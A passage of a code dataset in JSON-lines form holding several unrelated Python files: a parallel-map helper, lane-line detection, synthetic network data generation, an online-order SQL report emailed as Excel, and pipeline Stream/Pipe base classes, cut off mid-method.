mock_open.return_value.__enter__.return_value.read.return_value.decode.return_value\n ),\n )\n\n def test_list_split(self):\n self.assertEqual(\n list(list_split([\"foo\", \"/\", \"bar\"], \"/\")), [[\"foo\"], [\"bar\"]]\n )\n\n def test_force_text(self):\n self.assertEqual(force_text(b\"foo\"), \"foo\")\n self.assertEqual(force_text(\"foo\"), \"foo\")\n\n def test_force_bytes(self):\n self.assertEqual(force_bytes(\"foo\"), b\"foo\")\n self.assertEqual(force_bytes(b\"foo\"), b\"foo\")\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"423188374","text":"import multiprocessing\nimport subprocess\nimport operator\nimport math\nimport os\n\ndef parallel_map(func, elements):\n \"\"\"\n Aplica de forma paralela la función 'func' en toda la colección 'elements'. Básicamente\n sería: res = [func(x) for x in elements] pero paralelamente.\n \"\"\"\n cant = len(elements)\n cpus = multiprocessing.cpu_count()\n chunksize = int(math.ceil(cant / cpus))\n outq = multiprocessing.Queue()\n jobs = []\n for i in range(cpus):\n chunk = elements[chunksize * i:chunksize * (i + 1)]\n thread = multiprocessing.Process(\n target=process_chunk, args=(func, chunk, i, outq))\n jobs.append(thread)\n thread.start()\n\n res = []\n for i in range(cpus):\n res.append(outq.get())\n\n for j in jobs:\n j.join()\n\n res.sort(key=operator.itemgetter(0)) #ordeno por índices de chunks\n # for t in res:\n # self.data.extend(t[1])\n\n\ndef process_chunk(func, chunk, chunk_index, outq):\n res = [func(x) for x in chunk]\n outq.put((chunk_index, res))\n\n\ndef parallel_map2(func, elements, params, cores=None):\n cant = len(elements)\n cpus = cores or multiprocessing.cpu_count()\n chunksize = int(math.ceil(cant / cpus))\n jobs = []\n elements_list = list(elements)\n for i in range(cpus):\n chunk = {e: elements[e] for e in elements_list[chunksize * i:chunksize * (i + 1)]}\n thread = multiprocessing.Process(\n target=process_chunk2, args=(func, chunk, i, params))\n jobs.append(thread)\n thread.start()\n for j in jobs:\n j.join()\n\n\ndef process_chunk2(func, chunk, chunk_index, params):\n func(chunk, chunk_index, params)\n\n\ndef parallel_map_to_file(func, elements, outfile):\n \"\"\"\n Aplica de forma paralela la función 'func' en toda la colección 'elements'. Básicamente\n sería: res = [func(x) for x in elements] pero paralelamente.\n \"\"\"\n cant = len(elements)\n cpus = multiprocessing.cpu_count() * 2\n chunksize = int(math.ceil(cant / cpus))\n jobs = []\n for i in range(cpus):\n chunk = elements[chunksize * i:chunksize * (i + 1)]\n thread = multiprocessing.Process(\n target=process_filechunk, args=(func, chunk, i, outfile))\n jobs.append(thread)\n thread.start()\n for j in jobs:\n j.join()\n # unir archivos\n aux_files = [\"{}_{}\".format(outfile, i) for i in range(cpus)]\n os.system(\"cat \" + \" \".join(aux_files) + \" > \" + outfile)\n for af in aux_files:\n os.remove(af)\n\n\ndef process_filechunk(func, chunk, chunk_index, outfile):\n with open(\"{}_{}\".format(outfile, chunk_index), \"w\") as out:\n for element in chunk:\n res = func(element)\n if res:\n out.write(res + \"\\n\")\n ","sub_path":"scraping/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"295105237","text":"import numpy as np\n\n# Define a class to receive the characteristics of each line detection\nclass Line():\n MINIMUM_PIXEL_COUNT = 500\n\n def __init__(self):\n # x values for detected line pixels\n self.allx = None\n # y values for detected line pixels\n self.ally = None\n # was the line detected in the last iteration?\n self.detected = False\n # x values of the last n fits of the line\n self.recent_xfitted = []\n # average x values of the fitted line over the last n iterations\n self.bestx = None\n # polynomial coefficients of the last n iterations\n self.recent_fits = []\n # polynomial coefficients averaged over the last n iterations\n self.best_fit = None\n # radius of curvature of the line in some units\n self.radius_of_curvature = None\n # distance in meters of vehicle center from the line\n self.line_base_pos = None\n # the count of successive detection failures\n self.successive_failure_count = 0\n\n # line detected but not confirmed\n self.temp_line = None\n # the threshold of successive detection failures. If exceeds, reset and start searching from scratch\n self.successive_failure_threshold = 3\n # the number of *n* fits / iterations to be used for self.bestx and self.best_fit\n self.recent_n = 5\n self.window_height = 80\n self.margin = 100\n self.minpix = 50 # minimum pixels to recenter window\n self.ym_per_pix = 30 / 720 # meters per pixel in y dimension\n self.xm_per_pix = 3.7 / 700 # meters per pixel in x dimension\n\n def detect(self, warped, isLeft):\n self.detected = False\n self.temp_line = None\n allx, ally = self._get_line_pixels(warped, isLeft)\n if len(allx) > Line.MINIMUM_PIXEL_COUNT:\n height = warped.shape[0]\n ploty = np.linspace(0, height-1, height)\n current_fit = np.polyfit(ally, allx, 2)\n x_fitted = current_fit[0]*ploty**2 + current_fit[1]*ploty + current_fit[2]\n x_fitted[x_fitted < 0] = 0\n x_fitted[x_fitted >= warped.shape[1]] = warped.shape[1]-1\n radius_of_curvature = self._measure_curvature(ploty, x_fitted, height)\n\n if self._sanity_check(current_fit, radius_of_curvature):\n self.detected = True\n self.temp_line = Line()\n self.temp_line.allx = allx\n self.temp_line.ally = ally\n self.temp_line.current_fit = current_fit\n self.temp_line.x_fitted = x_fitted\n self.temp_line.line_base_pos = abs(self.temp_line.x_fitted[height-1] - warped.shape[1]/2) * self.xm_per_pix\n self.temp_line.radius_of_curvature = radius_of_curvature\n\n self.radius_of_curvature = radius_of_curvature\n\n if not self.detected:\n self.successive_failure_count += 1\n print('Warning: insufficent pixels detected. isLeft: {}, failures: {}'.format(isLeft, self.successive_failure_count))\n\n return self.temp_line\n\n def _get_line_pixels(self, warped, isLeft):\n nonzero = warped.nonzero()\n nonzeroy = np.array(nonzero[0])\n nonzerox = np.array(nonzero[1])\n pixel_indices = []\n if self.best_fit is None or self.successive_failure_count > self.successive_failure_threshold:\n pixel_indices = self._detect_line_pixels(warped, isLeft)\n else:\n # Skip sliding windows to search in a margin around the previous line position\n x_fitted = self.best_fit[0]*(nonzeroy**2) + self.best_fit[1]*nonzeroy + self.best_fit[2]\n pixel_indices = ((nonzerox > (x_fitted - self.margin)) & (nonzerox < (x_fitted + self.margin)))\n\n allx = nonzerox[pixel_indices]\n ally = nonzeroy[pixel_indices]\n return (allx, ally)\n\n # Detect line pixels with sliding windows\n def _detect_line_pixels(self, warped, isLeft):\n # Take a histogram of the bottom half of the image\n histogram = np.sum(warped[int(warped.shape[0]/2):,:], axis=0)\n # Find the peak of the bottom half of the histogram\n # It will be the starting point to detect line pixels\n midpoint = np.int(histogram.shape[0]/2)\n x_base = np.argmax(histogram[:midpoint])\n if not isLeft:\n x_base = np.argmax(histogram[midpoint:]) + midpoint\n # Current positions to be updated for each window\n x_current = x_base\n # Identify the x and y positions of all nonzero pixels in the image\n nonzero = warped.nonzero()\n nonzeroy = np.array(nonzero[0])\n nonzerox = np.array(nonzero[1])\n # Create empty list to receive lane pixel indices\n pixel_indices = []\n # Choose the number of sliding windows\n nwindows = np.int(np.ceil(warped.shape[0]/self.window_height))\n # Step through the windows one by one\n for window in range(nwindows):\n # Identify window boundaries in x and y (and right and left)\n win_y_low = warped.shape[0] - (window+1)*self.window_height\n win_y_high = warped.shape[0] - window*self.window_height\n win_x_low = x_current - self.margin\n win_x_high = x_current + self.margin\n\n # Identify the nonzero pixels in x and y within the window\n good_indices = ((nonzeroy >= win_y_low) & (nonzeroy < win_y_high) &\n (nonzerox >= win_x_low) & (nonzerox < win_x_high)).nonzero()[0]\n # Append these indices to the lists\n pixel_indices.append(good_indices)\n # If you found > minpix pixels, recenter next window on their mean position\n if len(good_indices) > self.minpix:\n x_current = np.int(np.mean(nonzerox[good_indices]))\n\n # Concatenate the array of indices\n pixel_indices = np.concatenate(pixel_indices)\n # print('Detect line pixels with sliding windows. pixels detected: {}'.format(len(pixel_indices)))\n return pixel_indices\n\n def _sanity_check(self, current_fit, radius_of_curvature):\n result = True\n # TBD: find a better algorthim for sanity check. radius_of_curvature is not reliable\n # if self.radius_of_curvature is not None:\n # radius_changed = abs(radius_of_curvature/self.radius_of_curvature - 1)\n # result = (radius_changed <= 0.5)\n # if not result:\n # print('radius changed: {}. old: {}, new: {}'.format(radius_changed, self.radius_of_curvature, radius_of_curvature))\n return result\n\n def _measure_curvature(self, ploty, x_fitted, height):\n # Fit new polynomials to x,y in world space\n x_fit_cr = np.polyfit(ploty*self.ym_per_pix, x_fitted*self.xm_per_pix, 2)\n # Calculate the new radii of curvature\n radius_of_curvature = ((1 + (2*x_fit_cr[0]*height*self.ym_per_pix + x_fit_cr[1])**2)**1.5) / np.absolute(2*x_fit_cr[0])\n # Now our radius of curvature is in meters\n return radius_of_curvature\n\n def detection_confirmed(self, is_valid):\n if is_valid:\n self.allx = self.temp_line.allx\n self.ally = self.temp_line.ally\n self.recent_fits.append(self.temp_line.current_fit)\n if len(self.recent_fits) > self.recent_n:\n self.recent_fits.pop(0)\n self.best_fit = np.average(self.recent_fits, axis=0)\n self.recent_xfitted.append(self.temp_line.x_fitted)\n if len(self.recent_xfitted) > self.recent_n:\n self.recent_xfitted.pop(0)\n self.bestx = np.average(self.recent_xfitted, axis=0)\n self.line_base_pos = self.temp_line.line_base_pos\n if self.successive_failure_count > 0:\n self.successive_failure_count = 0\n else:\n self.successive_failure_count += 1\n","sub_path":"line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":7920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"5232020","text":"import sys\nimport os\nimport time\n\nimport numpy as np\nimport pandas as pd\nimport scipy.linalg as LA\nimport scipy.sparse as spar\nfrom scipy.sparse import csgraph\nimport yaml\n\ndef get_nodes_from_spreadsheet(SSArr):\n \"\"\" get the .edge set from a spreadsheet \"\"\"\n nw = np.int_(np.zeros((sum(sum(SSArr != 0)), 3)))\n nw_row = 0\n for col in range(0, SSArr.shape[1]-1):\n for row in range(col+1, SSArr.shape[0]):\n if SSArr[row, col] != 0:\n nw[nw_row, 0] = int(col)\n nw[nw_row, 1] = int(row)\n nw[nw_row, 2] = 1\n nw_row += 1\n return nw\n\ndef get_clustered_spreadsheet(n_clusters, cluster_width, row_multiplier=1):\n \"\"\" synthetic spreadsheet data with n_clusters (2 : 7) of n_clusters * cluster_width samplse \"\"\"\n n_clusters_array = np.array([3,4,5,7])\n nrows = np.product(n_clusters_array*row_multiplier)\n ncols = n_clusters * cluster_width\n print('spreadsheet matrix size = {} x {} with {} clusters'.format(nrows, ncols, n_clusters))\n SSArr = np.zeros((nrows, ncols))\n row_seg_len = int(nrows / n_clusters)\n print('row_seg_len {} x {} n_clusters '.format(row_seg_len, cluster_width))\n row_0 = 0\n col_0 = 0\n row_fin = row_seg_len\n col_fin = cluster_width\n SSArr[row_0:row_fin, col_0:col_fin] += 1\n for k in range(0, n_clusters-1):\n print('rows = {}:{}\\t\\tcols = {}:{}'.format(row_0, row_fin, col_0, col_fin))\n row_0 = row_fin\n col_0 = col_fin\n row_fin = row_0 + row_seg_len\n col_fin = col_0 + cluster_width\n SSArr[row_0:row_fin, col_0:col_fin] += 1\n print('rows = {}:{}\\t\\tcols = {}:{}'.format(row_0, row_fin, col_0, col_fin))\n return SSArr\n\ndef node_set_to_adj_mat(node_set):\n \"\"\" create and adjacency matrix from a network of nodes with edges\n \"\"\"\n nw_sz = max(max(node_set[:, 0]), max(node_set[:, 1])) + 1\n adj_mat = np.zeros((nw_sz, nw_sz))\n for nodie in node_set:\n adj_mat[nodie[0], nodie[1]] = nodie[2]\n adj_mat[nodie[1], nodie[0]] = nodie[2]\n\n return adj_mat\n\ndef adjacency_matrix_to_node_set(N):\n \"\"\" create a network of nodes with edges from an adjacency matrix\n \"\"\"\n Ntru = LA.triu(N)\n l = []\n for row in range(0, N.shape[0]):\n for col in range(row, N.shape[0]):\n if Ntru[row, col] == 1:\n l.append([row, col, 1])\n\n return np.array(l)\n\ndef symmetric_random_adjacency_matrix(network_dim, pct_nodes=0.3):\n \"\"\" symmetric random adjacency matrix from random set of nodes\n Args:\n network_dim: number of rows and columns in the symmetric output matrix\n pct_nodes: number of connections (nodes) as a function of network size.\n Returns:\n network: a symmetric adjacency matrix (0 or 1 in network_dim x network_dim matrix)\n \"\"\"\n n_nodes = np.int_(np.round(pct_nodes * network_dim**2))\n network = np.zeros((network_dim, network_dim))\n col_0 = np.random.randint(0, network_dim, n_nodes)\n col_1 = np.random.randint(0, network_dim, n_nodes)\n for node in range(0, n_nodes):\n if col_0[node] != col_1[node]:\n network[col_0[node], col_1[node]] = 1\n network = network + network.T\n network[network != 0] = 1\n\n return network\n\ndef get_random_clusters(ncols, number_of_clusters=3):\n \"\"\" get a random set of clusters and construct an encoding matrix from those\n\n Args:\n ncols: number of columns\n number_of_clusters: number of rows\n\n Returns:\n H: encoding of the cluster number array\n C: cluster number array\n \"\"\"\n H0 = np.random.rand(number_of_clusters, ncols)\n C = np.argmax(H0, axis=0)\n H = np.zeros(H0.shape)\n for row in range(0, max(C)+1):\n rowdex = C == row\n H[row, rowdex] = 1\n\n return H, C\n\ndef get_rand_unique_name_list(n_names, name_length):\n \"\"\" get a list of different names\n Args:\n n_names: number of unique names in the output\n name_length: number of characters in each name\n Returns:\n rand_uniq_name_list: list of names\n \"\"\"\n bas = 26\n rand_uniq_name_list = []\n p = np.random.permutation(n_names)\n for nm in range(0, n_names):\n rand_uniq_name_list.append(get_character_seq(base_coef_arr(p[nm], bas, name_length) ))\n\n return rand_uniq_name_list\n\ndef get_character_seq(bas_arr, caps=True):\n \"\"\" get a random sequence of characters\n Args:\n bas_arr: array of numbers in range 0, 25\n caps: use Capital letters ? True or False\n Returns:\n char_arr\n \"\"\"\n if caps:\n alf = np.array(list('ABCDEFGHIJKLMNOPQRSTUVWXYZ'))\n else:\n alf = np.array(list('abcdefghijklmnopqrstuvwxyz'))\n\n if bas_arr.size == 1:\n char_arr = alf[bas_arr]\n else:\n char_arr = ''\n for c in range(0, int(bas_arr.size)):\n char_arr = char_arr + alf[bas_arr[c]]\n\n return char_arr\n\ndef base_coef_arr(big_n, bas, arr_len):\n \"\"\" convert an integer to an array of position multipliers in input base\n Args:\n big_n: an integer\n bas: the base to convert it to\n arr_len: pad the output with zeros to make it this length\n Returns:\n base_coef_arr: array of integers input integer in new base\n \"\"\"\n n = 1\n while big_n - bas ** n > bas:\n n += 1\n if big_n < bas ** n and n > 1:\n n = n - 1\n\n base_coef_arr = np.int_(np.zeros(arr_len))\n start_pos = arr_len - (n + 1)\n for nb in range(0, n):\n this_pwr = bas ** (n - nb)\n this_digit = int(np.floor(big_n / this_pwr))\n big_n = big_n - this_pwr * this_digit\n base_coef_arr[start_pos] = this_digit\n start_pos += 1\n\n base_coef_arr[start_pos] = int(big_n)\n return base_coef_arr\n\ndef append_dictionary_file(full_file, run_pars):\n \"\"\" Append or create a log file using yaml compatible format \"\"\"\n try:\n with open(full_file, 'a') as appendectomyfile:\n for p in run_pars:\n appendectomyfile.write('{}: {}\\n'.format(p, run_pars[p]))\n except:\n print('an err occurred while trying to append dictionary file')\n\ndef get_test_paramters_dictionary():\n \"\"\" universal dctionary of run parameters \"\"\"\n test_parameters = {\n 'method': 'cc_net_cluster_nmf',\n 'method_1': 'cluster_nmf',\n 'method_2': 'cc_cluster_nmf',\n 'method_3': 'net_cluster_nmf',\n 'method_4': 'cc_net_cluster_nmf',\n 'use_parallel_processing': \"0\",\n 'gg_network_name_full_path': './run_dir/input_data/final_clean_4col.edge',\n 'spreadsheet_name_full_path': './run_dir/input_data/final_clean_full_matrix.df',\n 'results_directory': './run_dir/results',\n 'tmp_directory': './run_dir/tmp',\n 'number_of_clusters': '3',\n 'display_clusters': \"0\",\n 'nmf_conv_check_freq': \"50\",\n 'nmf_max_iterations': \"10000\",\n 'nmf_max_invariance': \"200\",\n 'rwr_max_iterations': \"100\",\n 'rwr_convergence_tolerence': \"0.0001\",\n 'rwr_restart_probability': \"0.7\",\n 'nmf_penalty_parameter': \"1400\",\n 'rows_sampling_fraction': \"0.8\",\n 'cols_sampling_fraction': \"0.8\",\n 'number_of_bootstraps': \"5\"}\n return test_parameters","sub_path":"synthetic_data.py","file_name":"synthetic_data.py","file_ext":"py","file_size_in_byte":7195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"44470676","text":"\"\"\"\n线上订单汇总\n统计的区间范围 上个自然月的数据\n每月的一号自动发送\n\"\"\"\nimport sys\nimport pandas as pd\nimport click\nimport re\n\nsys.path.append('../')\n\nfrom utils.db_utils import fetch_data\nfrom utils.time_utils import *\nfrom utils.mail_utils import send_attachment_mail\nfrom utils.comm_utils import clean_file\n\nlogger = get_logger()\n\n\ndef __calculate_statistics_date(to_str=False):\n current_date = get_current_date_str()\n before_date = date_add(current_date, -1, to_str=to_str)\n start_date = str(before_date.year) + '-' + str(before_date.month).zfill(2) + str('-') + '01'\n return start_date, current_date\n\n\ndef __format_ord_state(val):\n state_mapping = {\n 0: '待付款',\n 1: '待发货',\n 2: '部分发货(中药已发货)',\n 3: '部分发货(西药/成药已发货)',\n 4: '已发货(全部药品已发货)',\n 5: '已取消',\n 6: '已关闭'\n }\n return state_mapping[val] if val in state_mapping else '###'\n\n\ndef __format_pay_state(val):\n state_mapping = {\n 0: '待支付',\n 9: '预支付',\n 1: '支付完成',\n 5: '已退款'\n }\n return state_mapping[val] if val in state_mapping else '###'\n\n\ndef fetch_online_order_data(start_date, end_date):\n sql = f\"\"\"\n select\n inquiry_ord_id 订单编号,\n mobile_order.create_date 创建时间,\n medical_ord_id 结算单号,\n mobile_order.user_name 患者姓名,\n doctor.department 科室,\n user.bill_id 联系方式,\n mobile_order.doctor_name 开方医生,\n round(total_price / 10000,2) 支付金额,\n mobile_order.ord_state 订单状态,\n mobile_order.pay_state 付款状态,\n mobile_order.pay_date 付款时间\n from ord.ord_mobile_medical mobile_order\n inner join sec.sec_app_doctor doctor\n on mobile_order.doctor_id = doctor.id\n inner join user.usr_user user\n on mobile_order.user_id = user.user_id\n where\n -- binding_mechanism = '10000046'\n -- doctor.id IN (SELECT id FROM sec.sec_app_doctor WHERE binding_mechanism = '10000046')\n doctor.id NOT IN(SELECT id FROM sec.sec_app_doctor WHERE binding_mechanism = '10001')\n -- and doctor.recommend_id not in (37,39)\n order by inquiry_ord_id desc\n \"\"\"\n logger.info(f'query sql:{sql}')\n ord_df = fetch_data(sql)\n logger.info(f'total fetch {len(ord_df)}条记录')\n order_columns_origin = ord_df.columns.values.tolist()\n file_name = '线上订单.xlsx'\n writer = pd.ExcelWriter(file_name, engine='xlsxwriter')\n if len(ord_df) > 0:\n ord_df['订单状态'] = ord_df['订单状态'].map(__format_ord_state)\n ord_df['付款状态'] = ord_df['付款状态'].map(__format_pay_state)\n start_date_time = start_date + ' 00:00:00' if len(start_date) <= 10 else start_date\n end_date_time = end_date + ' 00:00:00' if len(end_date) <= 10 else end_date\n logger.info(f'start_date:{start_date_time}')\n logger.info(f'end_date:{end_date_time}')\n ord_df['创建时间'] = ord_df['创建时间'].astype('str')\n f1 = ord_df['创建时间'] > start_date_time\n f2 = ord_df['创建时间'] < end_date_time\n ord_df = ord_df[f1 & f2]\n logger.info(f'after filter:{len(ord_df)} 记录')\n ord_df.to_excel(writer, sheet_name='线上订单原始数据', index=False)\n ord_df['支付金额'] = ord_df['支付金额'].astype('float')\n tmp = ord_df.groupby(['开方医生', '患者姓名', '付款状态']).agg({'支付金额': 'sum'}).reset_index()\n tmp.rename(columns={'支付金额': '支付总金额'}, inplace=True)\n tmp.sort_values(by='支付总金额', ascending=False, inplace=True)\n tmp.to_excel(writer, sheet_name='订单汇总信息', index=False)\n # 设置单元格宽度\n writer.sheets['线上订单原始数据'].set_column(0, ord_df.shape[1] - 1, 20)\n writer.sheets['订单汇总信息'].set_column(0,tmp.shape[1] - 1, 20)\n writer.close()\n else:\n logger.warning(f'统计区间内未发现数据,将生成空的数据')\n sheet_one_df = pd.DataFrame(columns=order_columns_origin)\n sheet_two_df = pd.DataFrame(columns=['开方医生', '患者姓名', '付款状态', '支付总金额'])\n sheet_one_df.to_excel(writer, sheet_name='线上订单原始数据', index=False)\n sheet_two_df.to_excel(writer, sheet_name='订单汇总信息', index=False)\n writer.close()\n return file_name\n\n\n@click.command()\n@click.option('--start_date', default='2021-03-01', help='开始日期')\n@click.option('--end_date', default='2021-04-01', help='结束日期')\n@click.option('--send_mail', default=False, help='是否发送邮件')\ndef run(start_date, end_date, send_mail):\n if start_date == '' and end_date == '':\n start_date, end_date = __calculate_statistics_date()\n pattern = r'^\\d{4}-\\d{2}-\\d{2}$'\n compile = re.compile(pattern)\n f1 = bool(compile.match(start_date))\n f2 = bool(compile.match(end_date))\n if not f1:\n logger.error(f'{start_date} 格式无效,skip...')\n return\n elif not f2:\n logger.error(f'{end_date} 格式无效,skip...')\n return\n else:\n file_name = fetch_online_order_data(start_date, end_date)\n if send_mail:\n subject = f'{start_date}~{end_date}线上订单订单统计'\n content = f'内容详见附件'\n send_attachment_mail(subject=subject, content=content, files=file_name)\n clean_file(file_name)\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"daily_report/online_order_report.py","file_name":"online_order_report.py","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"349584230","text":"\"\"\"Base classes\"\"\"\n\nfrom multiprocessing import Queue, Event, SimpleQueue\nfrom queue import Empty, Full\nimport logging\n\nclass Sentinel(object):\n\n \"\"\"\n This class is used to indicate the end of a stream. When a instance of Sentinel is\n passed to a Pipe it will shut itself down.\n \"\"\"\n def __repr__(self):\n return 'sentinel'\n\nclass Logger(object):\n\n \"\"\"\n Logger class used by Pipe. There are five levels of logs: INFO, DEBUG, WARNING, ERROR and CRITICAL.\n By default logger is set to INFO.\n\n :param lvl: log level, one of: info, debug, warning, error or critical\n :return: None\n \"\"\"\n\n def __init__(self, lvl='INFO'):\n self.log_lvl_map = {'INFO':logging.INFO,\n 'DEBUG':logging.DEBUG,\n 'WARNING':logging.WARNING,\n 'ERROR':logging.ERROR,\n 'CRITICAL':logging.CRITICAL}\n\n assert(lvl in self.log_lvl_map), \"log_lvl must be one of: {}\".format(self.log_lvl_map.keys())\n self.lvl = self.log_lvl_map[lvl]\n self.logger = logging.getLogger(\"logger\")\n self.logger.propagate = False\n\n # jupyter already has a logger initialized\n # this avoids initializing it multiple times\n if hasattr(self.logger, 'handler_set'):\n while self.logger.handlers:\n self.logger.handlers.pop()\n ch = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(pname)s - %(message)s')\n ch.setFormatter(formatter)\n ch.setLevel(lvl)\n self.logger.addHandler(ch)\n self.logger.setLevel(lvl)\n self.logger.handler_set = True\n\n def log(self, msg, name, lvl='info'):\n\n \"\"\"\n Logs messages.\n\n :param msg: message to log\n :param name: name of logger\n :param lvl: log level, one of: info, debug, warning, error or critical\n :return: None\n \"\"\"\n\n extra = {'pname':name}\n if lvl == 'critical':\n self.logger.critical(msg, extra=extra)\n elif lvl == 'debug':\n self.logger.debug(msg, extra=extra)\n elif lvl == 'warning':\n self.logger.warning(msg, extra=extra)\n elif lvl == 'error':\n self.logger.error(msg, extra=extra)\n else:\n self.logger.info(msg, extra=extra)\n\n\nclass Stream(object):\n\n \"\"\"\n Based off of a multiprocessing queue, Stream handles moving data between Pipe segments.\n\n :param name: String, name of Stream\n :param buffer_size: Int, max size of queue. Will be ignored if queue_type = \"multiprocessing.SimpleQueue\"\n :param timeout: Int, timeout(s) value for Queue.put and Queue.get methods\n :param monitor: Bool, log stream I/O times\n :queue_type: String, multiprocesses queue type to be used.\n Valid types: 'multiprocessing.Queue', 'multiprocessing.SimpleQueue'\n :return: None\n \"\"\"\n\n def __init__(self, name = 'stream', buffer_size=3, timeout=None, monitor=False, queue_type='multiprocessing.Queue'):\n\n assert (queue_type.lower() in ('multiprocessing.queue', 'multiprocessing.simplequeue')), \"Error: invalid queue type\"\n\n if queue_type.lower() == 'multiprocessing.simplequeue':\n self.q = SimpleQueue()\n else:\n self.q = Queue(buffer_size)\n\n self.queue_type = queue_type.lower()\n self.timeout = timeout\n self.buffer_size = buffer_size\n self.name = name\n self.monitor = monitor\n self.pipes_out = [] # Reference to Pipes that put onto this stream\n self.pipes_in = [] # Reference to Pipes that get from this stream\n self.logger = None\n\n def _id(self):\n return str(id(self))\n\n def __hash__(self):\n return int(self._id())\n\n def __eq__(self, other):\n return self.__hash__() == hash(other)\n\n def add_pipe_in(self, pipe_in):\n self.pipes_in.append(pipe_in)\n\n def add_pipe_out(self, pipe_out):\n self.pipes_out.append(pipe_out)\n\n def empty(self):\n return self.q.empty()\n\n def full(self):\n return self.q.full()\n\n def capacity(self):\n return 100.0*self.q.qsize()/self.buffer_size\n\n def set_logger(self, logger):\n self.logger = logger\n\n def flush(self):\n try:\n while True:\n self.q.get_nowait()\n except Empty:\n pass\n\n def get(self, timeout=1):\n\n # While pipes out are running and not empty try to get data\n # timeout value is necessary else get may run indefinitely after pipes out shutdown\n\n x = None\n while (any([p._continue() for p in self.pipes_out]) or not self.q.empty()):\n try:\n if self.queue_type == 'multiprocessing.simplequeue':\n x = self.q.get() #SimpleQueue does not have timeout arg\n else:\n x = self.q.get(timeout=timeout or self.timeout)\n if self.monitor:\n self.logger.log('capacity:{:0.2f}%'.format(self.capacity()), self.name+':get')\n break\n except Empty:\n continue\n return x\n\n def put(self, x, timeout=1):\n\n # While pipes in are running try to put data\n # no need to check if full since Full exception is caught\n # timeout value is necessary else put may run indefinitely after pipes in shutdown\n\n while any([p._continue() for p in self.pipes_in]):\n try:\n if x is None:\n break\n if self.queue_type == 'multiprocessing.simplequeue':\n self.q.put(x) #SimpleQueue does not have timeout arg\n else:\n self.q.put(x, timeout=timeout or self.timeout)\n\n if self.monitor:\n self.logger.log('capacity:{:0.2f}%'.format(self.capacity()), self.name+':put')\n break\n except Full:\n continue\n\nclass Pipe(object):\n\n \"\"\"\n Base class for all pipe segments. Pipes use two sets of Streams: upstreams and downstreams.\n Generally Pipes except data from upstreams and pass downstream after a transformation.\n All pipe segments run on their own thread or process, which allows them to run in\n parallel with other segments.\n\n Number of upstreams should be equal to number of functor args. Likewise, number of downstreams\n should be equal to number of functor outputs.\n\n When Pipe produces a None it will not be passed downstream. In this case nothing will be placed\n on the downstreams. This allows the user to create 'switches' based on internal logic in the functor.\n\n\n Base initializer\n -----------------\n\n :param functor: Python function, class, generator or corountine\n :param name: String associated with pipe segment\n :param upstreams: List of Streams that are inputs to functor\n :param downstreams: List of Streams that are outputs of functor\n :param ignore_exceptions: List of exceptions to ignore while pipeline is running\n :param init_kwargs: Kwargs to initiate class object on process (no used when func_type = 'function')\n :param stateful: Set to True when using a class functor. Class functors must implement a 'run' method\n\n \"\"\"\n\n def __init__(self, functor_obj, name, upstreams=None, downstreams=None,\n ignore_exceptions=None, init_kwargs=None):\n\n # Public methods\n self.functor_obj = functor_obj\n self.name = name\n self.init_kwargs = init_kwargs or {}\n self.upstreams = upstreams or []\n self.downstreams = downstreams or []\n self.ignore_exceptions = ignore_exceptions or []\n\n # Check inputs\n for upstream in self.upstreams:\n assert (isinstance(upstream, Stream)), \"Error: upstreams must be of minipipe.Stream type\"\n for downstream in self.downstreams:\n assert (isinstance(downstream, Stream)), \"Error: downtreams must be of minipipe.Stream type\"\n\n # Private methods\n self._n_desc = 0\n self._n_ances = 0\n self._n_rcvd_term_sigs = 0\n self._n_outputs = len(self.downstreams)\n self._n_inputs = len(self.upstreams)\n self._term_flag = Event()\n self._global_term_flag = None\n self._logger = None\n\n def __repr__(self):\n return self.name\n\n def __copy__(self):\n cls = self.__class__\n cp = cls.__new__(cls)\n cp.__dict__.update(self.__dict__)\n cp._term_flag = Event()\n return cp\n\n def _id(self):\n return str(id(self))\n\n def __hash__(self):\n return int(self._id())\n\n def __eq__(self, other):\n return self.__hash__() == hash(other)\n\n def set_logger(self, logger):\n self._logger = logger\n\n def set_term_flag(self, term_flag):\n self._term_flag = term_flag\n\n def set_global_term_flag(self, term_flag):\n self._global_term_flag = term_flag\n\n def set_upstreams(self, upstreams):\n self.upstreams = upstreams\n self._n_inputs = len(upstreams)\n\n def set_downstreams(self, downstreams):\n self.downstreams = downstreams\n self._n_outputs = len(downstreams)\n\n def get_upstreams(self):\n return self.upstreams\n\n def get_downstreams(self):\n return self.downstreams\n\n def public_vars(self):\n return {k:v for k,v in vars(self).items() if k[0] != '_'}\n\n def reset(self):\n self._n_rcvd_term_sigs = 0\n self._term_flag.clear()\n for stream in self.downstreams:\n stream.flush()\n\n def _in(self):\n x = [stream.get() for stream in self.upstreams]\n self._logger.log(\"in({})\".format([repr(x_i) for x_i in x]), self.name, 'debug')\n return x\n\n def _out(self, x):\n if self._n_outputs <=1:\n x = [x]\n self._logger.log(\"out({})\".format([repr(x_i) for x_i in x]), self.name, 'debug')\n for x_i, stream in zip(x, self.downstreams):\n stream.put(x_i)\n\n def _continue(self):\n return not (self._term_flag.is_set() or self._global_term_flag.is_set())\n\n def _contains_sentinel(self, x):\n for x_i in x:\n if x_i is Sentinel:\n return True\n return False\n\n def _contains_none(self, x):\n for x_i in x:\n if x_i is None:\n return True\n return False\n\n def _terminate_global(self):\n self._global_term_flag.set()\n self._logger.log(\"Global termination\", self.name, \"error\")\n return True\n\n def _terminate_local(self):\n\n # Each time a Sentinel is caught this method is called\n # Pipe segment is only shutdown if its recieved a Sentinel from each Pipe upstream\n # If all upstream Pipes are accounted for:\n # 1) set term flag\n # 2) send 1 Sentinel to each downstream Pipe\n # 3) return True\n\n self._n_rcvd_term_sigs += 1\n if self._n_rcvd_term_sigs < self._n_ances:\n return False\n else:\n 